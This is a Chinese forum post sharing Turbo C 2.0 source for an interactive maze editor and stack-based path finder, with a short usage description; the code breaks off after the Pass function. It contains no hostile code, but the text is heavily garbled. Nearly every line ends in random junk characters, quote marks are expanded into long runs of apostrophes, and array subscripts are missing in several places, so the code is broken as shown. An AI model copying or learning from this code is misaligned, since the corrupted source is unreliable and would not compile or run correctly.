QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7582|回复: 8
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
8 {+ t) o/ A; k* r1 ~7 h$ @< align=left>程序目的:: {+ P/ h- Q* B
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并) B: U" f0 k: Y& T* V& |
显示在屏幕上。% Y5 z4 W3 h8 z) U7 L
程序实现:9 f2 T* I2 F2 B& t5 I
可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
" Q4 [0 {) K7 ?文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载* }  F! h& V8 T+ b; b
入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫, Q4 F) s  _1 |; |7 b; w! Q$ X6 `
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。3 ^  T+ C7 n/ X3 I1 v5 k% Q2 M
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,
) ^1 @2 S2 V- S$ W. R* ^: }  [用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
* P2 ?, ?% @. |将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
9 f, x$ d- |/ C0 z找到路径时,屏幕下方会出现Path found,否则出现Path not found。
4 \% p2 H6 F. H( E3 z5 l程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
3 X+ S  T* Q- s$ v# Q. O) q1 H不可以在VC上编译。: r6 y9 e0 I3 O, ^3 ~5 L
下载DOS版和windows版的迷宫游戏全部代码
& T/ k9 O3 X& ?- I用户名:migong ) `0 M( ^7 ?0 C. k7 c
----------------------------------------------------------------------------------$ d! ^$ M' V/ K! p/ ~
/*& |: A$ h- O1 j- ]3 W; R
MazePath Demo BY Turbo C 2.0
8 E7 J! g; \7 P. E. OCopyright(c) RoverUnion. All right reserved.6 q9 \4 Z0 X4 z' a3 D% x6 e
Filename: Maze.c
7 u  G) ]* U4 nAuthor Dongchengyu.7 `; _) F( D8 w0 x1 u8 w
Ver 1.108 D& q1 I( t9 t1 @7 E
*/1 }1 a+ Z8 w# G) J
#include &lt;stdio.h&gt;, u) z0 L# F0 _( W
#include &lt;stdlib.h&gt;
& M9 U8 T4 _8 `3 K) u. f' o* I7 n#include &lt;malloc.h&gt;
4 L9 w7 Y! m8 r- \( K1 \#include &lt;conio.h&gt;
  K1 ?) x* O3 o2 g5 L#include &lt;dos.h&gt;
* |0 I8 b; [3 Q; L#define OK 1
9 p0 P2 {7 a) j$ T* @: D+ i#define ERROR 0; q. F* [4 g* h1 H1 t5 j" U8 Q
#define TRUE 1& N# ?& G4 G6 l: e+ E# m
#define FALSE 09 K# z" y4 Q9 L$ D! f6 w  e
#define F9 0x43
2 {( x3 `3 V# z) a# O#define Esc 0x1b: ?6 ^4 q& Q- J( N  r& r& W" i
#define Del 0x537 j" k) l: f& Q
#define Home 0x475 _8 \! s  ^; I* i
#define End 0x4f
0 r& z; S, @, J% k7 I; H# F' ~& U#define Space 0x20
$ |" i2 G9 z7 ^4 Q0 g#define Up 0x48$ Q! m  F3 k, U( p3 L$ t* W
#define Down 0x50* t3 n  k* @6 Z7 k9 I
#define Left 0x4b2 t5 G! Q% D! x+ b1 Z
#define Right 0x4d  r3 }5 G" c- X* @
#define Enter 0x0d
/ Q6 N0 x4 b  o! ^#define F2 0x3c* p: v! k0 O' N; v; P
#define F3 0x3d
1 H0 l1 S1 S+ s/ K* u( O$ m#define STACK_INIT_SIZE 200
  a0 a9 Y' X" H#define STACKINCREMENT 102 e6 Z' z# G2 b5 X
typedef int Boolean;3 r' K- q* n  z* m3 d& ]4 c3 i$ K( w
typedef int Status;" U$ a6 ]$ r9 X" S( `& ^% @1 \
typedef struct {4 P* l  E- J8 D& i& w4 g9 `
int x;0 q% s- T/ y0 t2 h
int y;$ `: }: c' B5 e) {( R* w; T
} PosType;
+ S, u" J: T/ O0 e9 Mtypedef struct {$ o* a% M9 e. ]  I7 L" y2 C8 `; E
int ord;
' I+ O5 ]$ L9 i. k: h- L4 bPosType seat;- `( G- A2 C1 I9 {; }9 v
int di;
# Y! t- H% v# t( I} SElemType;
- o( A0 S, p$ v9 |4 etypedef struct {
8 \, l7 e6 w/ g7 t4 M4 Y2 U+ Kint td;9 b$ q) _: k& z9 Q+ F. a
int foot;
7 K- r' \; G% _# G" V. z, }0 O3 Lint mark;
3 u" P  J' l+ p/ A2 M3 S6 l( p} MazeType;
. q' s, v* A% R7 Ztypedef struct {
2 W. i& S9 ~2 S/ f* V: p% FSElemType *base;
: y5 v. F4 O) \2 k+ @, W; iSElemType *top;
7 W5 Z. v& B( |; @0 s( Hint stacksize;: k- n3 q2 j4 [7 G6 e9 N, b
} Stack;
4 k5 a7 b5 ^/ V9 Qint Maze[20][30];( j! X5 Y$ c0 w8 O
MazeType maze[20][30];
) O  C9 j; m6 |- _' v/ sPosType StartPlace;
. x& s, i, T& @$ KPosType EndPlace;. d" [9 m/ s( y% P3 X& H8 p0 y4 J: h
int count;
4 o% }; a8 f$ Y3 r$ R$ t& t; Eint m,n;
: b) `, y9 }2 g6 GBoolean b_start=FALSE,b_end=FALSE;
' L! \6 k1 m$ d8 P4 ?void CreatMaze(void);
* c8 {& }: y" V9 XStatus SaveMaze(char *filename);$ x% f! x- j' i7 x2 d+ S/ J8 x
Status LoadMaze(char *filename);
5 t3 s" S% J& |& C! tvoid Error(char *message);
" S" w6 }, p& m7 MStatus InitStack(Stack *s);& ?4 i+ p, T4 g* j5 X% D
Status DestroyStack(Stack *s);5 C. }6 n. _6 I: M- T, l
Status ClearStack(Stack *s);
" ]; _1 W% ~, I+ J4 }: J& RBoolean StackEmpty(Stack *s);: D. P2 x! K1 v8 I2 }' E; ?
int StackLength(Stack *s);; Q$ r0 ?  `& T' g; ~
Status Push(Stack *s,SElemType e);
4 @5 I% r/ @+ P/ w: G  l6 w  n2 H+ fSElemType Pop(Stack *s,SElemType e);
9 X; h0 c$ f; z5 oStatus GetTop(Stack *s,SElemType *e);
. I3 {, ~0 O6 C8 T3 s+ g7 MStatus StackTraverse(Stack *s,Status (* visit)(SElemType *se));
; Y+ W6 b6 T& V" j5 WBoolean Pass(PosType curpos);! O: C" z& u) k# M, t
void MarkPrint(PosType seat);. K! G& S. L  m% [* l" o
void FootPrint(PosType curpos);, T% G3 f& h7 ?! F( }- c
PosType NextPos(PosType seat,int di);9 W! O& L& r- a* j4 z) b" e
Status MazePath(PosType start,PosType end);; X) e( K0 v# W7 H2 g% Y  D& r
void CreatMaze(void)4 p  ?) m( z" x, f8 J
/* Form the maze. */: S! H" x7 {3 k4 \2 x: ?
{
8 A7 r2 b* S4 y2 V: gvoid Error(char *message);
6 a1 B; E: j4 V0 F$ |4 FStatus SaveMaze(char *filename);1 P. U& j: Y5 \: ]; {5 o5 S8 o
Status LoadMaze(char *filename);
7 ]  h& V6 b$ {# F; p, dint i,j;2 S: @7 o; e$ [
int x,y;  X3 n' R+ @; P# d) |' D! M9 h
char c;2 t3 L8 O4 Y- P, y
char savename[12],loadname[12];; ?% x) `0 |! `' _* L; q
Boolean flag=FALSE,load=FALSE;" K( Z/ D1 H, k( }+ Z
clrscr();
2 ?. F3 r# t& f! {/ D4 s, C! i: }& jprintf("Menu:\n\n");
! P5 o0 R0 d" a0 A5 pprintf("1.Load Mazefile*.dd)\n\n");) E- q! w9 \. k7 r6 A
printf("2.Input Maze:\n\n");; P( m5 x3 P" g. M) d+ y( X
printf("Input your choice: ");3 y5 k# B3 J/ l9 B3 L
do
2 M. |- X1 Y; I. y* I5 `{
0 R  H9 g. }/ }  X+ E" X1 nc=getch();
$ _0 c0 ^+ ~( {- a9 D3 `switch(c)
. `% |  S+ U8 N/ n{& a& e; A7 V- k, v9 R
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;& n* N% ?9 w* }  l
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
8 C, d" V1 P9 r: @case Esc: sleep(1); exit(1);
) h, u, ~8 y9 n4 O7 ]0 t' [, u- odefault: break;4 V, u9 k0 b) N( c* g
}
, t2 Z* d: s; f, W}
4 m: p, o: }! |2 l( m$ f: l: ?" w" Dwhile(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;9 L4 M; K2 F! D
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
# m0 o6 f9 u( d" q; v/ T{) R. M' V- F% b* B+ @# \* l) r
printf("\n\nLoadName: ");
  s1 E6 S' e1 n& Q& M( }% i: Dscanf("%s",loadname);0 o* B) g/ d% S# r) k3 G4 i
if(LoadMaze(loadname))# j* D& O- H. e' n$ u- H: _6 e" Y/ w
{
2 Y4 P- V  |; R0 |6 i$ V) e* Usleep(1); load=TRUE;* \' _0 q7 o4 T/ s/ e5 ~' F
}
3 A+ C2 F* n4 u  }7 l7 eelse { gotoxy(1,9); printf("Load fail! "); }
9 u9 D1 i4 V4 ~9 Q* h: W! o}; Q6 {  e6 e6 _0 h, M
if(!load)' z( [  {) |# E) ^
{. _0 h. x. Q4 k$ |3 J+ }+ V4 I
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
- V+ Q8 `7 L: P, o" x7 x; k$ Nprintf("\nInput Length :\n");0 Y9 ~! Y! I3 e# Y) E
scanf("%d",&amp;m);5 C$ G4 ~3 W. O, c
printf("\nInput Width :\n");, {! d- w5 c, P" h9 W
scanf("%d",&amp;n);1 {! d9 p5 {7 I1 g, |7 @
if(m&lt;4||n&lt;4) Error("Input");
( F" k% E4 o1 ?& h1 B% L$ Hif(m&gt;30||n&gt;20) Error("Maze too large");
% D* O0 h! \- Z2 {for(i=0;i&lt;30;i++)
) d- h# w. n& t/ e/ sfor(j=0;j&lt;20;j++)4 M1 v6 t0 J( |4 y+ W
Maze[j]=2;" q; v1 ?$ X- U! }: f7 W) Y# G
StartPlace.x=0;
- `/ }! D7 s; vStartPlace.y=0;
) K% e; T7 ]8 U: t: {8 S: g8 eEndPlace.x=0;
5 q. i, Y1 k9 fEndPlace.y=0;; z) l; v9 P% G$ ~2 s) ]) K, [' C
clrscr();
, x% S0 o  v0 M& o! |4 I) J+ Cprintf("\n");  h4 ?7 p/ A0 f/ r
for(i=1;i&lt;=n;i++)7 N" w4 r, c0 w: `. B  x+ N8 Z  j
{
1 L1 S- D% b+ `6 Y0 kfor(j=1;j&lt;=m;j++)
4 i) x5 f# v/ L- v5 X' s# F" h9 H$ Y3 T{8 H% I1 m' {# d8 u! |2 [+ i
printf(" #");
& x! }2 ~! A1 wMaze[i-1][j-1]=0;
0 e' M7 Z0 R( L8 F2 j}2 h7 K3 o2 l+ ~
printf("\n");; k: H0 F$ r9 i. h1 W$ P
}
2 I2 }% V8 g8 O}
. j% u7 d& E- h6 ngotoxy(65,5);
  c" w* [  _  Y! Sprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");+ O7 A7 ]/ t2 A! g/ i( p) z
gotoxy(65,7);
9 Y* `$ S+ p$ W- c' |9 I: ~/ P$ iprintf("Start:Home");+ y" ]; |0 k  V" }/ G
gotoxy(65,9);
' y5 l% {* R. k. _; Q. ~printf("End:End");
" C, R8 d$ p4 C( Lgotoxy(65,11);
7 V* z' ?- w- L2 gprintf("Delete Wallel");( F9 T; W- L6 o9 u8 Q
gotoxy(65,13);
: l+ J1 v: y% j- X4 C% Mprintf("Enter Wall:Enter");5 J1 L  L8 X: c% e2 c$ {( A
gotoxy(65,15);* v7 b, j) W" j, ~' g. r
printf("Save Maze:F2");
! @( d7 O* i: O" M' N/ k( t# Ogotoxy(65,17);* H5 L  n2 |. n* G
printf("Complete:F9");; H. |2 O! ?, m$ v9 ?- t
gotoxy(65,19);
1 R: d3 d) j6 g2 Y7 ~9 vprintf("Exit:Esc");( [7 x; A, p! i6 U
gotoxy(4,3);
* s0 U: g5 x4 J( w$ ]5 }2 o! Px=4;y=3;
) ?4 y. Q# K; Mdo4 @: x- d& y* Q0 J
{  G3 f2 o3 ~" d- r* _
c=getch();
) s  w0 N$ q; S( Jswitch(c)* W( J2 r# Z* j0 Q" A: I) x
{0 T  n" N  c# b( f: Z1 f( t
case Up: if(y&gt;3) { y--; gotoxy(x,y); }
7 e& `+ A+ Q/ V/ w% ebreak;# h6 O+ {9 b0 I' c5 o- e
case Down: if(y&lt;n) { y++; gotoxy(x,y); }4 o7 u9 ~* S4 g
break;
" A& W- X( v: `case Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
9 {6 f0 p- K1 |1 n" E' zbreak;
) D1 B  c" D' l! l* C( Rcase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
3 [0 D" n3 D+ Lbreak;1 B5 r9 d2 Q7 i! r! k1 L( X, Q
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
0 c; b# r: r' D% M9 ^# vif(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;3 _5 r+ q8 K1 I: D: U+ O5 I
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
5 A2 x$ q. V6 H; x7 Q; ]4 @break;
1 w" A; Y8 [8 F2 Tcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;7 n" M# W# w" L4 b9 R" a' ?# S
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;& x/ K. L! \, ?8 a
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);  l% T- S. t+ [4 r
break;
' i6 q5 M; |, M) d6 j$ Kcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)7 y2 a+ R& n7 ^
{( E4 g1 _' f8 e
StartPlace.x=x/2-1;' `% e1 C5 f2 [8 e
StartPlace.y=y-2;' Y5 D/ J; E& c7 `3 P
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
' ?1 i# W5 w6 i) D7 Y: Cgotoxy(x,y);
6 ]7 {- @0 M5 u! `$ h4 L2 [+ qb_start=TRUE;' ~3 u* s$ Z' d$ X7 v  M. Z# `
}
" e/ w& h6 }4 H, ebreak;" ~; O7 e3 q3 B1 {+ h
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)# `  H- E. ~# [; o- S
{
3 y! `1 x( K3 {" a; U  {. qEndPlace.x=x/2-1;- P7 S  w2 L: u# E! n( ]/ ~
EndPlace.y=y-2;+ \" H( `/ Z" y; q& ^
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
; m; D5 f3 g) J% Kgotoxy(x,y);) I1 `2 Y) ?  `7 \
b_end=TRUE;( q! F4 e9 W5 E; z- [
}, g1 u- L7 S( x% [1 N& y' ?+ A1 Q" k
break;" m3 l# W; s* ?: J0 {& |. t
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);. o8 g) W6 I* A1 N/ [- f/ H
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
4 H8 J% ?; a- Q. N/ q7 Qcase F2: gotoxy(2,22);5 u5 Z& b  `" u/ y
printf("Savename:");
+ |. V  X, P7 D9 A! V; y/ rscanf("%s",savename);
' Q8 J+ {2 T/ F6 Y8 Cgotoxy(2,22);
1 x% {, h) |4 G9 M9 x$ ^- G# Sif(SaveMaze(savename)) printf("Save OK! ");
. w& Z0 E3 G( f; U9 `2 G% qelse printf("Save fail! ");
& M) i4 z0 M# d. a) ysleep(1);! {9 C% q& h( O5 }& h% e
gotoxy(2,22);
  H& [& t1 f% a" Iprintf(" ");0 P5 V, d# Z. E. h# V. l
gotoxy(x,y);
2 j( A9 t# y) S- u) `( R4 ibreak;
* E& [* f+ G* p% ldefault: break;
. V  b# N* x7 G4 v}
( r+ n9 _' ~; B0 K0 f8 k* P}; @' e7 _$ @3 Y
while(!flag);" s" B/ O) q0 W8 i
for(i=0;i&lt;30;i++)4 _! l5 s; ^# [0 \* Q1 X% U
for(j=0;j&lt;20;j++)
( q3 ~, z7 s4 r8 r2 D{
: x8 S) p% B2 r/ o, h1 |maze[j].td=Maze[j];
9 O9 B9 y3 ^7 v. M6 s& smaze[j].mark=0;  @. {& i5 }9 _4 e; [
maze[j].foot=0;
; q6 Y) {9 i1 m3 F& u% H}2 k) M: w. ]7 k, P5 f0 f1 z$ L
}
* ^. ?+ J; q+ j. W( BStatus LoadMaze(char *file): m3 i3 Q- L& O. Z& W$ D# i% E
/* The maze has been loaded. */5 X- M) q/ r' t9 L; q- k
{) P' J( e9 `* A/ ?" U
FILE *fp;
9 V! i4 z# u# U) \char *buffer;" S6 d* ^: [. L/ x
char ch;: c4 ?8 W% e+ u' X; [
int i=0,j,k;
8 j( x% B( T4 ?' oBoolean len=FALSE,wid=FALSE;
( V& d( z* p+ ?- Y, M5 ~: ~if((fp=fopen(file,"r"))==NULL)  ?/ Q/ B6 A' s) `: @. _- g
return ERROR;, M8 D: l7 }! j, }
buffer=(char *)malloc(600*sizeof(char));
* c+ l, y3 v- ]1 U/ X" i+ F, gch=fgetc(fp);
, W8 U" n1 c' |8 Wwhile(ch!=EOF)
8 ~7 c/ M7 P/ s! R' w8 T$ m2 S{
: _- l1 ~4 q$ c" a+ [buffer=ch;
2 c! G3 S$ ?# g1 M- ^# ki++;2 X- X$ I$ c* h5 l  \
ch=fgetc(fp);+ c& M; z, t% Q) E4 U1 a& [
}/ v: N, u+ u- Y0 k5 q# g# ~
m=30;n=20;
; k/ Q% S" o: q, qfor(i=0;i&lt;600;i++). Z( q7 J& a3 I
{
+ I8 m0 r$ J1 X4 T7 J: Fj=i/30; k=i%30;8 Q+ e0 L1 _. K5 g9 [
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
; S  g, M. R# b% i+ Hif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }" b/ s: `$ U9 T( z' d# r  ]; _/ l
switch(buffer)
, j- Z$ J, e( _: ]0 V{8 z- U; p/ i0 x! W- m" i' H
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
/ k0 S; P; j& q( ^1 ~" kcase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
6 d( ]* w. m% K' v5 ~% [" L. Ocase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;: d. K! i7 \- \9 ]
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;/ [4 _6 c" [6 a2 j; }
StartPlace.x=k;" X0 k. p. i. C/ g( L2 k
StartPlace.y=j;
1 X( |4 P4 v8 K" ]4 zb_start=TRUE;
* C3 v: a$ @$ Ibreak;
4 m5 O0 h# }2 ?1 rcase ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
- H/ K4 ^) b$ n. C8 _3 k( N9 v0 lEndPlace.x=k;
6 Y/ ~' _8 J* E  \EndPlace.y=j;
" L6 V1 @2 X6 L& e/ ^b_end=TRUE;
: i0 s8 z) E2 s% |+ N0 @break;
9 ]3 Q, U( V0 i& k1 B7 ]default : break;) U) _3 p5 z' s. |& y$ a  W6 M" S
}- y& q( r4 v  _# i+ R5 N
}3 |# g5 _+ M+ ?: U9 m2 v
fclose(fp);
1 t( F! b* F# zclrscr();9 W3 U* Q- o5 E6 L& d) T' y3 Y
for(i=0;i&lt;30;i++), _7 X* h5 S- g9 r' B
for(j=0;j&lt;20;j++)3 c& I+ b* H( e7 C) P  A6 ^+ X
{
2 Q, z! x$ ~8 K7 p, L- J7 a* {maze[j].td=Maze[j];
1 t- N  A; M6 Zmaze[j].foot=0;( c) s7 ^1 O6 W' f
maze[j].mark=0;
' n1 M1 r3 ^/ ?+ V, wif(Maze[j]==0)3 u, \# B; ?/ ^* i* V8 \3 Q0 F
{
( p# Q2 O( k7 |( ]" T/ {gotoxy(2*i+2,j+2);
! X$ O. a/ K& _* eputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');( v6 a. I+ P3 [( I
}$ U3 \  z$ N& K3 y. u
}
+ p$ U) L$ q5 `gotoxy(2*StartPlace.x+2,StartPlace.y+2);4 o; v/ X4 K  }- L0 x
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');4 k; @4 B, z4 e0 r/ Q+ C
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
, [/ U8 ^: f, m( f" D/ c" yputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
- v3 P( s8 ]5 a2 C0 [return OK;
+ s; I, R7 _3 p& x7 e# [}+ S' D4 @" P+ X5 @7 s
Status SaveMaze(char *filename)
8 `8 s* K! J- k/* The maze has been saved. */
1 a% H/ D, I2 l4 m1 o9 z; F{9 g& B- V1 K1 l+ a" R) p5 t
FILE *fp;
8 r3 K$ P* f! c4 H0 Gchar *buffer;8 A& S  r# M9 Z; b( W0 X; _9 f( c/ _
int i,j,k;
1 b8 b3 F) X4 O6 B- {fp=fopen(filename,"wb");
9 f  b' n2 A. p" H# Vbuffer=(char *)malloc(600*sizeof(char));2 H( ?+ ?+ [3 D( f
for(i=0;i&lt;600;i++)+ W7 |% a9 v3 P; N. B7 b7 P! K
{
3 l6 A/ D7 h9 {j=i/30; k=i%30;
4 q1 \: b8 l" vswitch(Maze[j][k]), b7 L/ A+ j$ U* Q% e
{
* P3 G* e) b5 j! Lcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
7 @6 |& \" v! p) Acase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;# o9 W  W. C+ c
case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;( q$ T$ P+ t" L* O
default : Error("Write"); break;0 \* [3 }! Z4 i+ h3 c, }# e  D
}6 o6 M. p/ ]2 x' b! S
if(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';  `5 V# H: [( ]6 m% a8 P! X. }
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';9 ~/ X5 V# A' ?! T
}6 K4 B4 ?" i# S+ }# y7 T; X* l' n
fwrite(buffer,600,1,fp);5 C/ {3 \- k% E: s$ l2 I
free(buffer);
6 [3 v) t% h7 Z4 Tfclose(fp);; |3 P5 x5 M! H8 O, k
return OK;
$ U- _8 M! P) R' W}
0 U4 \1 ^0 B3 Z" N( ~6 vvoid Error(char *message)
9 `. V, J5 v1 p9 K% ]{) v, d2 E3 U- U
clrscr();, q# [( g! `! {  I5 d! p
fprintf(stderr,"Error:%s\n",message);
8 I1 n* q6 Z7 K5 cexit(1);
3 K3 F# J8 _6 q, g, w& n} /* Error */; u% ?" y- d2 @# r1 |* u7 y2 O
. v. A4 V" m1 \6 J
Status InitStack(Stack *s)1 _: d. t$ H- C
/* The stack s has been created and is initialized to be empty. */: E2 I3 [- i6 F+ i$ t
{+ T) Q3 s& ?. U* u, D2 Y
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));" T% ]( R0 D5 h3 r( r9 W
if(!s-&gt;base) Error("Overflow");
. r1 j3 k0 X$ c' w# ~s-&gt;top=s-&gt;base;
! g  c% [+ H. W" zs-&gt;stacksize=STACK_INIT_SIZE;
4 `' D, d* o: ^return OK;
% _5 v' {8 D5 s+ g- h} /* InitStack */% A" I- ~( c' O7 r) p' l2 g0 i
Status DestroyStack(Stack *s)
$ E# Y7 J4 R; O/* The stack s has been destroyed. */
) f% T: [7 F8 ?* l{5 j+ X4 V* X" h- M, S6 ^7 ^
s-&gt;top=NULL;) C8 r6 _/ i- M3 D+ e* g' O" w
s-&gt;stacksize=0;$ D( i( c: o& m$ N; @3 E5 H
free(s-&gt;base);
# J) P" ~8 ~7 ~4 b( N$ u+ ]* js-&gt;base=NULL;
7 i( ~# s$ y- O) P  |return OK;
) o; b7 c2 g8 m) k- e8 c  |} /* DestroyStack */% q$ J  `; C' t6 d: y
Status ClearStack(Stack *s)& ]8 e6 U! |" a' M/ g* N2 V
/* The stack has been clear to be maximum. */0 U$ q9 v: `, r, L) y9 _
{
+ [6 H$ b9 C* G' Q- F' m8 x* R: _s-&gt;top=s-&gt;base;
* X  z7 x* y  {8 a5 F) @3 B* v% us-&gt;stacksize=STACK_INIT_SIZE;% m& |2 T5 H6 W# M+ z
return OK;. [  ~  i, v! F7 B
} /* ClearStack */
9 j! @: y& X' PBoolean StackEmpty(Stack *s)
( J& o4 \6 V$ \/* Check if the stack s is empty. */4 u# L: Z& d& n" ^. g. ^: M/ b6 g$ J
{' {/ V) B. O. ?9 B
if(s-&gt;top==s-&gt;base) return TRUE;
* L/ l- I/ w4 \/ z0 s; [5 Q" Selse return FALSE;
- z& ]% a. \, J5 @} /* StackEmpty */
# C: C8 G$ O, @$ C# C7 F' }int StackLength(Stack *s)
, e/ k" C$ H' `2 V- n/ `! Y# l/* Gain the length of the stack s. */
5 x' W  @! z+ n{, L0 O4 j, z* u$ r. J  a1 l
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
* @' `% N; k  z/ z  Jelse return 0;
7 F/ o' U% p+ O! u} /* StackLength */0 {- o# {' E6 L/ J
Status Push(Stack *s,SElemType e)% ~* G2 i8 K, v+ g: k8 o$ ]" a( |
/* The element e has been pushed into the stack s. */: W) n; ?# T/ C' H  o+ p+ m
{
) Y( {/ V# V3 a+ s) I4 lif(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
! y" s0 O! s) z, f6 J! ^8 f9 H' E{
, T' n' ?. @( e4 i7 ?% Js-&gt;base=(SElemType *)realloc(s-&gt;base,. B2 G% `* I3 g3 P) r: S- f9 }7 g& O
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
; T( M. f. O8 {0 H3 l% Oif(!s-&gt;base) Error("Overflow");7 s$ l" ?1 x7 x- B' Q
s-&gt;top=s-&gt;base+s-&gt;stacksize;/ H4 ]- v+ [4 H2 W" C0 H% x, u$ a$ q4 B
s-&gt;stacksize+=STACKINCREMENT;
+ G* H* P: N" V, Y}, _+ E9 U% p0 v' W0 O6 F
*s-&gt;top++=e;& L3 R4 ]0 u- a* F9 H0 G
return OK;& X2 R5 V' @( L3 L8 Y( S
} /* Push */2 C9 Z/ C6 Z8 y5 p  F9 Z/ g
SElemType Pop(Stack *s,SElemType e)& |- C" j9 G$ l+ ]6 E) I; e
/* The element e has been removed from the stack s. */6 f; \  m$ i' c' o+ l8 J9 e
{; u* j: @0 v: W  Q! w. U7 I
if(s-&gt;top==s-&gt;base) Error("op");9 j$ j. i) Y, ^( T
e=*--s-&gt;top;% g3 Q# i1 M5 u' a' b+ }
return e;
( v3 ~  x: e: C4 F) I} /* Pop */
+ c9 V& C. N  H5 p7 H" QStatus GetTop(Stack *s,SElemType *e)
+ N/ R0 c5 w0 E. _- \! l/* The element e has got to the top of the stack s.*/' e" d' W5 u6 ~  _! H
{
% @! G8 S+ w; |0 `! N: k2 |if(s-&gt;top==s-&gt;base) Error("GetTop");
  l% A* k) c0 y9 h/ e, j5 R# _" H" x*e=*(s-&gt;top-1);( w+ u6 L' h, r* `# v2 h
return OK;
" [3 q/ g# |! e8 r} /* GetTop */1 e5 H. d1 @4 }& @. C6 k: J
/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
) H+ m7 H! h# i1 M% ]$ T4 c/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))5 [8 ]( |/ C$ m! Z! v# @$ w
{/ G4 X, @8 m5 @2 s
SElemType p;
2 G5 v0 t( P3 ~! T! U* e* Nint result;0 l0 Q* J8 G- ^6 ^) {) G; O. n
if(s-&gt;top==s-&gt;base) return ERROR;7 I: D( P' F% z' D! |
p=s-&gt;base;
4 e. m1 i& t7 X  t' g2 {" ^while(!(p==s-&gt;top))- r' Z5 Q8 J! {" c: h% c& u
{8 z% @$ ?+ u. s1 o3 e2 ~0 ^7 c) M
result=(*visit)(p);5 H6 Z6 H/ }7 b5 M
p++;- ?7 e  ^/ [& L% T# ?& x& c* `
}
; q& ~8 Y# q; Y+ t- d* Q$ e7 T( ~return OK;
1 t+ t2 t* V) H} */7 G8 R1 X1 `" C  r/ _
Boolean Pass(PosType curpos)
2 L) d1 U) i3 ~6 C8 y' p8 F/ w/* Check if the current position can be passed. */
* R) v1 u# I! t/ q8 B+ s8 w{$ E4 \" B) B0 U) `8 ]5 r, W
if(maze[curpos.x][curpos.y].td==1&amp;&amp;
5 S& X) o) ?/ f) s' ~maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
; y& D2 B1 X/ breturn TRUE;2 F9 n% X" ?/ W0 Y# K7 o
else return FALSE;
, T2 i) M  G  [1 n) B  J} /* Pass */, d+ v, @% B  w; f& O5 ~
